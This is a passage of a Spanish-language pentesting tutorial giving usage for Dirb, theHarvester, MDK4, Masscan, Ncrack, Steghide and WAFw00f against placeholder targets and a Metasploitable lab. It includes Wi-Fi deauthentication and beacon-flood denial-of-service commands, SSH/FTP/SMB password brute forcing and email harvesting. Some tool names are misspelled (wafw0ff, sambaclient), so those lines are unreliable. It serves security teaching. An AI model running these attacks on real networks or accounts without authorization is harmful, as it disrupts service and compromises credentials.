la terminal y su lanzamiento es de un ataque de fuerza

bruta basado en un diccionario contra el servidor web.

Así como la anterior herramienta, Dirb también cuenta

con su lista de palabras preconfigurado para un uso

fácil, aunque también es posible utilizar nuestros

propios diccionarios personalizados.

Para empezar con un escaneo básico, ejecuten el

siguiente comando:

dirb "https://www.sitio_web.com/"

Utilizar un diccionario propio:

dirb "https://www.sitio_web.com/" "/ruta/del/diccionario.txt"


Guardar los resultados en un fichero:

dirb "https://www.sitio_web.com/" -o "fichero.txt"

Omitir cualquier error que se encuentre dentro del

escaneo:

dirb "https://www.sitio_web.com/" -N 404

Tipos de error: 302,

301, 404, 500, 503

Acelerar el escaneo para obtener el escaneo más profundo

y detallado:

dirb "https://www.sitio_web.com/" -z 100

Milisegundos

Enumerar archivos por extensiones:

dirb "https://www.sitio_web.com/" -X .php

Ejemplos: .html, .css, .js


Omitir posibles mensajes de advertencia:

dirb "https://www.sitio_web.com/" -w

El escaneo dirb, por defecto, escaneo los directorios

recursivamente. Significa que escanea un directorio y

luego atraviesa dentro de ese directorio para buscar más

subdirectorios. En algunos escenarios, el tiempo es

limitado y solo necesitamos los directorios principales.

El parámetro "-r" configura a dirb para que no escanee

recursivamente.

dirb "https://www.sitio_web.com/" -r

El error 404 es un código de estado HTTP que se presenta

cuando a la página que intentamos acceder no existe en

el servidor web. Los sitios web suelen personalizar los

mensajes de error 404. En algunos escenarios, también es

preciso encontrar esas páginas que omite dirb de forma

predeterminada, para ello usaremos el parámetro "-v" :

dirb "https://www.sitio_web.com/" -v


Los mecanismos de autenticación HTTP se basan en el uso

del código estado 401 y el encabezado de respuesta de

autenticación WWW. El cliente envía el nombre de usuario

y contraseña como texto codificado en base64 sin cifrar

y para eludir este tipo de autenticación con dirb,

usamos el siguiente comando:

dirb "https://www.sitio_web.com/" -u admin:password

Usuario

Contraseña

Todo lo visto anterior se le reconoce como "ataque de

recorrido de ruta" y tiene como objetivo acceder a

directorios y archivos que se almacenan fuera de la

carpeta raíz web. Mediante la manipulación de variables

de frecuencia "punto-punto-slash" es posible acceder a la

configuración de los archivos, al código fuente de la

aplicación y otros archivos críticos del sistema.


THE HARVESTER

The Harvester es una suite OSINT diseñada para usarse en

las primeras etapas del pentesting, la recolección de

información por medio de fuentes públicas en la web. Su

objetivo es recopilar correos electrónicos, hosts,

dominios y subdominios, nombres de empleados, puertos

abiertos, entre otras. Es útil si se quiere seguir la

huella de uno o varios individuos en internet, así como

comprender hasta que extremo un atacante puede recopilar

información.

Instalar herramienta en Debian:

sudo apt install theharvester

Comando de ayuda:

theHarvester --help

Es importante que la "H" comience con mayúscula,

de lo contrario, mostrará error.

Buscar correos electrónicos de un dominio:

theHarvester -d dominio.com -l 100 -b google

-d => Nombre del dominio

-b => Motor de búsqueda

-l => Limitar el número de búsqueda


Extraer toda la información de un sitio web:

theHarvester -d "dominio.com" -l 500 -b all

Guardar el resultado en formato XML:

theHarvester -d "dominio.com" -l 500 -b all -f test.xml


Shodan es un motor de búsqueda avanzado que permite

encontrar todo tipo dispositivo conectado a internet;

como routers, cámaras de seguridad, dispositivos IoT. El

objetivo de shodan es comprobar la seguridad de los

puertos desde el exterior.

theHarvester -d "dominio.com" -l 200 -b all --shodan

En la web oficial de shodan deben de pegar la dirección

IP y está se encargará de ubicar el dispositivo y

resaltar la información (puertos abiertos, dominios,

ubicación, etc):

https://www.shodan.io

Personalmente he programado un script en python3 con la

API de shodan para automatizar los resultados y ser

mostrados por la terminal. El repositorio se llama

"PyShodan" y se clona de la siguiente manera:

git clone https://github.com/R3LI4NT/PyShodan


Ingresamos al directorio y ejecutamos los siguientes

comandos:

cd PyShodan

sudo apt install python3-pip

pip3 install shodan

Instalar el gestor de paquetes

de Python versión 3 (PIP3).

Instalar paquete shodan

Ejecutamos PyShodan y le indicamos el modo manual para

ingresar la IP:

python3 pyshodan.py

Los resultados son los mismos

que los de la página oficial,

con los datos brindados es

posible realizar un escaneo

profundo a los puertos y buscar

servicios vulnerables en la

base de exploits.


MDK4

MDK4 es la nueva versión y mejorada de MDK3, introduce

soporte a la banda de redes 5Ghz, reproducción de

paquetes 802.11, y se incluyo más tipos de paquetes para

el rastreo de tramas de datos, bloqueo de

ESSID/BSSID/Client-MAC, así como la posibilidad de

trabajar con dos tarjetas inalámbricas; una para recibir

datos y la otra para enviar datos. Dicho lo anterior,

MKD4 se puede clasificar como otra de las herramientas

de pentesting perteneciente al grupo de redes

inalámbricas.

Instalar herramienta en Debian:

sudo apt install mdk4

Menú de ayuda:

mdk4 --fullhelp

mdk4 --help

Mostrar todas las opciones de

ataques

Información sobre el ataque

mdk4 --help a

ATTACK MODE a: Authentication Denial-Of-Service


Deauthentication / DoS Attack: un ataque de

desautenticación o denegación de servicio es un tipo de

ataque que apunta a la comunicación entre el cliente y

el punto de acceso inalámbrico. El atacante envía una

cierta cantidad de paquetes a la red objetivo, está se

satura y queda inaccesible para los clientes. Su

principal ventaja es que el atacante no necesita estar

conectado a la red Wi-Fi para efectuar el ataque, tan

solo debe conocer la dirección MAC o el nombre del punto

de acceso.

MDK4 al igual que la suite de aircrack-ng, contiene

parámetros especiales para realizar éste ataque y es de

la siguiente manera:

mdk4 "INTERFAZ" d -S XX:XX:XX:XX:XX:XX -c 7 -s 10

Modo de ataque: Deauthentication

Dirección MAC de la estación

/ punto de acceso WiFi.

Paquetes por segundo, en

caso de no especificar,

será ilimitado.

Cambio de canal por segundos, en caso de

especificar con “-c h”, mdk4 saltará con

todo lo máximo posible.

En caso de no saber la dirección MAC del objetivo, podemos

realizar el mismo procedimiento pero especificando el nombre de

la red (ESSID:

mdk4 "INTERFAZ" d -E "WIFI" -c 2


Expulsar un cliente de la red:

mdk4 "INTERFAZ" d -B XX:XX:XX:XX:XX:XX -c h

Dirección MAC del dispositivo víctima

Beacon Flooding / Fake AP Attack: la inundación de

puntos de acceso es un tipo de ataque que consiste en

crear aleatoriamente redes inalámbricas falsas para

confundir al usuario en una gran lista de redes.

mdk4 "INTERFAZ" b -c 1 -w a

Tipo de encriptación:

Modo de ataque: Beacon Flooding

Canal donde opera la red

a => WPA2

t => WPA

w => WEP

n => Sin encriptación


De forma predeterminada, la herramienta genera un

diccionario con nombres aleatorios, así como también

podemos crear un archivo con nombres de redes a mostrar:

mdk4 "INTERFAZ" b -c 1 -f "archivo.txt"

Ruta del archivo

Authentication / Fake Clients Attack: es la inversa

del ataque de deauthentication, su función es inundar la

red con clientes falsos. Este tipo de ataque también

puede ser calificado como DoS, ya que ralentiza la

conexión y provoca que los clientes se desconecten. Es

útil para capturar el handshake en caso de que ningún

cliente este conectado a la red.

mdk4 "INTERFAZ" a -a XX:XX:XX:XX:XX:XX -m

Modo de ataque: Authentication

MAC válida para el

cliente generado

Dirección MAC del punto de acceso


SSID Probing and Bruteforcing Attack: el sondeo de

puntos de acceso (AP) permite verificar si la red (SSID)

se encuentra activa y dentro del rango mediante envíos

de paquetes. También esta disponible la fuerza bruta de

SSID ocultos, con o sin una lista de palabras.

Verificar red activa:

mdk4 "INTERFAZ" p -e "WIFI"

Modo de ataque: SSID Probing

SSID (nombre) del punto de acceso

Para realizar el ataque de fuerza bruta, en un fichero

deben de escribir los posibles nombres de redes a

descubrir y luego utilizar el parámetro "-f" para indicar

la ruta del diccionario/lista de palabras.

mdk4 "INTERFAZ" p -f "diccionario.txt"

Ruta del diccionario


Michael Countermeasures Exploitation Attack: el

ataque de Michael se concentra en enviar paquetes

aleatorios o reinyectados en la cola de tráfico para

provocar bajo rendimiento en el punto de acceso y

hacer que éste se apague durante un minuto completo,

lo que lo convierte en un DoS. En la actualidad este

ataque no es muy efectivo, pues, la mayoría de los

routers ya vienen implementados con un firewall para

bloquear peticiones malintencionadas o tráfico

sospechoso.

mdk4 "INTERFAZ" m -t XX:XX:XX:XX:XX:XX -w 1 -n 1000

Modo de ataque: Michael

Countermeasures

Ráfaga de paquetes por segundos

Dirección MAC (BSSID) del AP

Número de paquetes a enviar


MASSCAN

Masscan es un escáner de puertos de internet y redes

internas. Su velocidad es tan alta que puede escanear

todo internet en menos de 5 minutos, transmitiendo 10

millones de paquetes por segundo, desde una sola

máquina. Las herramientas de escáneres de puertos se

encuentran entre las más importantes en el conjunto de

herramientas de un investigador de seguridad, se puede

utilizar tanto para investigaciones ofensivas como

defensivas. Ofrece la forma más rápida de detectar

aplicaciones y servicios en ejecución de puertos

remotos.

Como primera prueba le diré a Masscan que escaneé la

dirección IP en busca de todos los puertos abiertos

(65535):

masscan "IP" --ports 0-65535

En cuyo caso quieran escanear uno o varios puertos

específicos, se deben separar por comas:

masscan "IP" --p 21,80,443


Otra característica interesante que tiene Masccan es que

puede escanear los puertos más populares:

masscan "IP" --top-ports X

Reemplazan la "X" por una

cantidad de puertos populares,

por ejemplo, 10 o 100

El parámetro "--rate" especifica la velocidad para

transmitir paquetes. Por defecto este valor es de 100

paquetes por segundo, es posible incrementar este valor:

masscan "IP" --top-ports 100 --rate 10000

10.000 paquetes por segundo

Guardar resultado del escaneo en un fichero:

masscan "IP" --top-ports 100 > "fichero.txt"


En determinadas situaciones es necesario reducir la

cantidad de hosts a escanear, es por ello que se crea

una lista negra con una dirección/rango que se omitirá.

masscan "IP" -p 21,22,80 --excludefile "blacklist.txt"

Imprimir ayuda sobre alternativas de compatibilidad de

parámetros con nmap:

masscan --nmap

Capturar los banners; versiones de servidor HTTP, campos

de títulos HTML, contenido, entre otras:

masscan "IP" -p 80 --banners

Puerto 80 = protocolo HTTP

Crear un archivo de configuración para ser leído y

escaneado:

masscan --conf "archivo.txt"


Imprimir los paquetes que se han enviado y recibido:

masscan "IP" --ports 0-65535 --packet-trace

Cuando se presiona la combinación de teclas CTRL + C

durante un escaneo sin terminar, éste se detendrá y el

estado actual del escaneo se guardara en el fichero de

"paused.conf". El escaneo se puede reanudar con la opción

de "--resume".

masscan --resume paused.conf

El parámetro "--adapter-ip" se utiliza para enviar los

paquetes desde una determinada IP. Si no se especifica,

se utilizará la primera dirección IP vinculada a la

interfaz de red.

masscan "IP" -p 21,22,25,80 --adapter-ip "IP"


NCRACK

Ncrack es una herramienta de cracking contra servicios

activos cliente/servidor: TCP, SSH, FTP, HTTP(S),

TELNET, SMB, MySQL, WordPress, VNC, entre otros. Fue

construido con el objetivo de ayudar a las compañías a

proteger sus redes probando proactivamente todos sus

hosts y dispositivos de red para las contraseñas

débiles. Ncrack utiliza una sintaxis de líneas de

comandos interactiva y fácil de comprender.

Manual de Ncrack:

Cracking SSH

man ncrack

Este programa requiere de una lista de

palabras/diccionario para ponerlo en marcha, la misma

debe incluir las posibles contraseñas débiles más usadas

a crackear. En internet existen cientos de fuentes

públicas donde se recopilan las contraseñas más

digitadas por administradores y usuarios, otra

alternativa son los repositorios de Github. El entorno

que voy a utilizar de ejemplo es nuevamente

Metasploitable.

USUARIOS

CONTRASEÑAS

Luego de construir nuestro diccionario, pasamos a la

sintaxis del comando:


ncrack "IP:22" -U "usuarios.txt" -P "contraseñas.txt"

Diccionario de usuarios

Diccionario de contraseñas

22: puerto del protocolo

SSH

Conectarse al SSH desde la terminal

ssh " usuario@IP/Hosts"

Si supiéramos el usuario y que la contraseña esta

alojada en el diccionario, entonces ya no es necesario

utilizar dos diccionarios:

ncrack "IP" -u "usuario" -P "contraseñas.txt"

Nombre del usuario

Con el parámetro "-oN" guardamos las credenciales

encontradas en un fichero:

ncrack "IP" -u "usuario" -P "contraseñas.txt" -oN "credenciales.txt"


Cracking FTP

El protocolo de transferencia de archivos (FTP) es

justamente, un protocolo de red que permite que los

sistemas se comuniquen entre sí. Las cuentas FTP

gestionan el contenido de un servidor: enviar archivos,

descargarlos, borrar ficheros, crear directorios, entre

otras funciones.

A diferencia del SSH, el FTP no incorpora un mecanismo

de cifrado de datos, volviéndolo menos seguro. Mientras

que el SSH tiene más funcionalidades; ofrece una

comunicación segura y no depende de la distancia, eso

sí, es más lento que el primero y también puede ser

vulnerado por un atacante.

ncrack "IP:21" -U "usuarios.txt" -P "contraseñas.txt"

21: puerto del protocolo

FTP.

Conectarse al FTP desde

la terminal:

ftp "IP"


Cracking SMB

SMB (Server Message Block) es un protocolo cliente /

servidor que administra el acceso a archivos y

directorios, impresoras, interfaces abiertas de red y

otros recursos utilizado por el sistema operativo de

Microsoft Windows. Esto permite que otros dispositivos

del mismo sistema operativo se comuniquen fácilmente

entre sí. Es más, gracias a la comunidad de software

libre, el proyecto Samba se extendió su uso en

distribuciones de Linux y Unix, permitiendo una

comunicación multiplataforma.

Como cualquier otro protocolo de intercambio de archivos

de red, el protocolo SMB necesita de puertos para

comunicarse con otros sistemas. Anteriormente utilizaba

el puerto 139, pero en Windows usa el 445 y el protocolo

de red TCP para comunicarse con otros dispositivos a

través de internet.

ncrack "IP:445" -U "usuarios.txt" -P "contraseñas.txt"

445: puerto del protocolo

SMB.

La utilidad de smbclient permite conectarse y acceder a

los recursos compartidos de un servidor SMB, similar a

FTP:

sambaclient -L "IP" -p 445 --option='client min protocol=NT1'

Host

Puerto

Permite que Samba funcione con otros

recursos compartidos SMBv1


Comandos smbclient: https://www.computerhope.com/unix/smbclien.htm

Explorar todos los módulos soportados por Ncrack:

ncrack -V

En los ejemplos anteriores he introducido la dirección

IP del host junto con el puerto del protocolo, esto

también es posible utilizando el parámetro "-p" + el

número del puerto:

ncrack "IP" -p "N-PUERTO"

En caso de querer sustituir el puerto por el servicio:

ncrack "servicio://IP"

Ej:

ncrack "ftp://192.168.25.131" -U "usuarios.txt" -P "contraseñas.txt"

Si no está proporcionando ningún diccionario, entonces

Ncrack usará su diccionario predeterminado para vincular

la contraseña para el inicio se sesión anónimo:

ncrack -v --pairwise "IP"

Modo verbose

Diccionario predeterminado


Si su ataque se interrumpe por pérdida de conexión o se

detuvo con la combinación de teclas, puede retomarlo

desde donde estaba.

ncrack --resume /root/.ncrack/restore.2022-05-07_22-43

En los ataques anteriores, sigue descifrando el servicio

hasta encontrar todos los inicios de sesión posibles,

pero si lo desea, el ataque podría dejar de descifrar

luego de encontrar una credencial, esto es posible

agregando el parámetro "-f":

ncrack "IP:PUERTO" -f

Mantener organizada la información es fundamental para una

prueba de penetración, más si se tiene que penetrar

múltiples máquinas. Es por eso que Ncrack ha agregado la

opción de "-sL" que genera el resultado en formato de lista:

ncrack "IP:PUERTO" -sL


STEGHIDE

El término de esteganografía se utiliza para referirse

al proceso de ocultar información dentro de otra pieza

de información. Un fragmento de texto, imagen o pista de

audio puede ser oculta dentro de otro archivo

multimedia, de forma que no se detecte su presencia y

consigan pasar de desapercibidos. Uno de los ejemplos

mas comunes es en el malware, éste usa esteganografía en

los contenidos digitales para su propagación, o ya sea

para ocultar el código malicioso.

Existen infinidades de herramientas para distintos

sistemas operativos, para el caso de Windows esta la

herramienta de DeepSound que se utiliza en la serie de

Mr. Robot. En linux encontramos a Steghide, una

herramienta que admite ocultar datos de cualquier

formato de imagen (png, jpg, gif, jpge) y audio (wav)

con una frase de contraseña. Utiliza la encriptación

Rijndael (AES) para cifrar el registro, la propia NSA

usa este tipo de algoritmo para ocultar documentos de

clasificación "super secreto". La medida clave es de 128

bits, siendo uno de lo más seguros utilizados por

algoritmos y tecnologías de cifrado modernos.

Instalar herramienta en Debian:

sudo apt install steghide

Para iniciar Steghide, la opción más básica es mostrar

el comando de ayuda:

steghide --help


La siguiente prueba será ocultar un fichero de texto con

nuestros datos confidenciales, por otro lado, elegimos

una imagen donde incrustaremos los datos. Para lograr

esto, ejecutaremos el siguiente comando:

steghide embed -ef "fichero.txt" -cf "imagen.jpg"

Embedded file: archivo incrustado

Cover file: archivo de cubierta/portada

Aquí les pedirá la contraseña para

extraer el fichero

También podemos especificar la contraseña en el mismo

comando y no por separado:

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -p "contraseña"

El siguiente parámetro permite extraer los datos de una

imagen, en caso de tener un algoritmo de cifrado,

devolverá el tipo de encriptación y nombre del archivo

incrustado:

steghide info "imagen.jpg"

Ahora, para extraer los datos ocultos, use el siguiente

comando:

steghide extract -sf "imagen.jpg"


MODO VERBOSE: permite obtener toda la información de un

archivo durante su extracción:

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -v

MODO DE COMPRESIÓN: permite comprimir el archivo antes

de ocultarlo. El nivel de comprensión varía entre 1 y 9,

el primer nivel indica mayor velocidad de compresión

mientras que, en el noveno nivel, proporciona mejores

técnicas de compresión. Esto se utiliza para ahorrar

espacio en la memoria, pero un pequeño error puede dejar

inutilizable el archivo.

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -z 4

Nivel

MODO ANTI-COMPRESIÓN: lo opuesto al ejemplo anterior, el

parámetro "-Z" en mayúscula es para indicar que no

deseamos que comprima el archivo luego de ocultarlo:

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -Z


ARCHIVO SIN NOMBRE: el parámetro "-N" se utiliza para un

archivo sin necesidad de nombrarlo.

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -N

Lo siguiente será elegir un nombre para grabar los datos

extraídos:

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -xf "fichero.txt"

Archivo de salida

ALGORITMOS DE CIFRADO: el parámetro "-e" se utiliza para

especificar el tipo algoritmo de cifrado que usaremos

para ocultar los datos:

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -e "algoritmo"

NOMBRE DE ALGORITMO

DES

GOST 28147-89

AES

RC2

ORIGEN

Estadounidense

Ruso

Belga / adoptado como

Estadounidense

Estadounidense


SOBRESCRIBIR ARCHIVO: suponiendo que ya tengamos un

archivo extraído con el mismo nombre y en el mismo

directorio. Con el parámetro "-f" sobrescribe el archivo

existente:

steghide embed -ef "fichero.txt" -cf "imagen.jpg" -f

Ahora, en vez de ocultar los datos en una imagen, lo

haremos en un audio de formato WAV ya que por el momento

no soporta MP4:

steghide embed -ef "fichero.txt" -cf "audio.wav"

Por último, extraemos los datos:

steghide extract -sf “audio.wav"

Tanto la imagen como el audio pueden ser ejecutados sin

generar sospecha alguna.


WAFW00F

WAFw00f es una herramienta sumamente necesaria a la hora

de probar diferentes vectores de ataques hacia

aplicaciones web. Un WAF (Web Application Firewall) es

un tipo de cortafuego que protege de múltiples ataques

al servidor donde se aloja aplicaciones web. La

principal función del WAF es monitorear el tráfico de

paquetes que viajan por el protocolo de HTTP / HTTP. Un

claro ejemplo son los ataques de DoS y DDoS, consiste en

inundar el servidor web o recurso de red con una

cantidad masiva de tráfico malintencionado (Bots), llega

un determinado momento en que el servidor se recarga de

peticiones y colapsa, siendo inutilizable para los

usuarios legítimos. El WAF tiene el papel fundamental de

bloquear toda petición entrante que parezca "sospechosa“.

A su vez, protege contra inyecciones SQL, Cross Site

Scripting (XSS), Cookie Poisoning y Buffer Overflow.

Otro aspecto fundamental del WAF es conocido como SSL

Offloading, que se apoya en dar al WAF la

responsabilidad de entablar las conexiones cifradas y

manejar los certificados, permitiendo utilizarlo como un

proxy de entrada; control de identidad antes de

brindarle acceso al servidor de aplicaciones web. Un WAF

puede ser implementado desde la nube y administrado a

través de un servicio, esto en cuyo caso de que los

recursos informáticos sean limitados o para no poner en

riesgo la seguridad interna. Otro modo avanzado de

implementación se basa en un dispositivo virtual o de

hardware, aumentando fuertemente el rendimiento y la

seguridad.


Actúa de INTERMEDIARIO

Como cualquier herramienta vista anteriormente, también

trae consigo un manual de ayuda:

man wafw0ff

Aquí podemos ver los usos básicos de la herramienta,

entonces usaremos el posterior comando para identificar

la existencia de un WAF:

wafw0ff -v "URL"

Como se observa en la captura,

detectó que el sitio web utiliza

Cloudflare como alternativa de WAF,

e incluso solo bastó 2 petición para

descubrirlo, omitiendo la cantidad

de ruido posible. Cloudflare es de

la empresas más reconocidas en todo

Internet, mayormente los sitios

contratan este servicio para mitigar

ataques de Denegación de Servicio

Distribuido (DDos).

Si quisiéramos auditar más de un sitio web a la vez

tendríamos que crear un fichero e introducir las URL's

correspondientes, posteriormente utilizamos el parámetro "-

i":


wafw0ff -i "fichero.txt"

Así como nuevos ataques van apareciendo, por otro lado

las Empresas que ofrecen servicios de protección de

datos deben de implementar nuevos mecanismos para

detectar estos ataques y mitigarlos. Es por eso que se

actualizan constantemente con nuevas versiones, en caso

de que los clientes no actualicen a la última versión

del WAF, se verán comprometidos.

wafw0ff -V "URL"

Imprimir la versión actual del WAF

Guardar resultados de la auditoría en un fichero:

wafw0ff "URL" -o "fichero-salida.txt"


Si sospechamos que el sitio está protegido con un

cortafuegos que ya conocemos, entonces podemos

especificar su nombre con el parámetro "-t/--test" :

wafw0ff "URL" -t "nombre-del-WAF"

Los headers (encabezados) es la parte central de los

HTTP requests y response, emiten toda la información

acerca del navegador del cliente, del servidor y

contenido en general. Wafw00f tiene un parámetro de

headers (-h/--headers) para adjuntar el fichero con los

encabezados correspondientes.

ALGUNOS EJEMPLOS DE HEADERS

wafw0ff "URL" -h "fichero-headers.txt" -vvv

Modo verbose triple: detalla toda la información que transcurre

por detrás de la petición


El parámetro "-a" permite que la herramienta no se

detenga y siga buscando otros WAFs:

wafw0ff -a "URL"

El parámetro "-r“ se utiliza cuando el sitio tiene varios

portales, es decir, otras páginas o secciones alojadas

en el servidor. Con el siguiente comando le decimos que

no redireccione a otros sitios:

wafw0ff -r "URL"


ADVERTENCIA

El autor no se hace responsable por el mal uso

que se le pueda dar a esta información, todo esta

hecho con fines educativos. El acceder a sistemas

ajenos, información sensible, hackeo a cuentas

personales, ciberamenazas, entre otras técnicas

sin autorización puede llegar a ocasionar cargos

penales.

Última edición: 20/5/2022

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!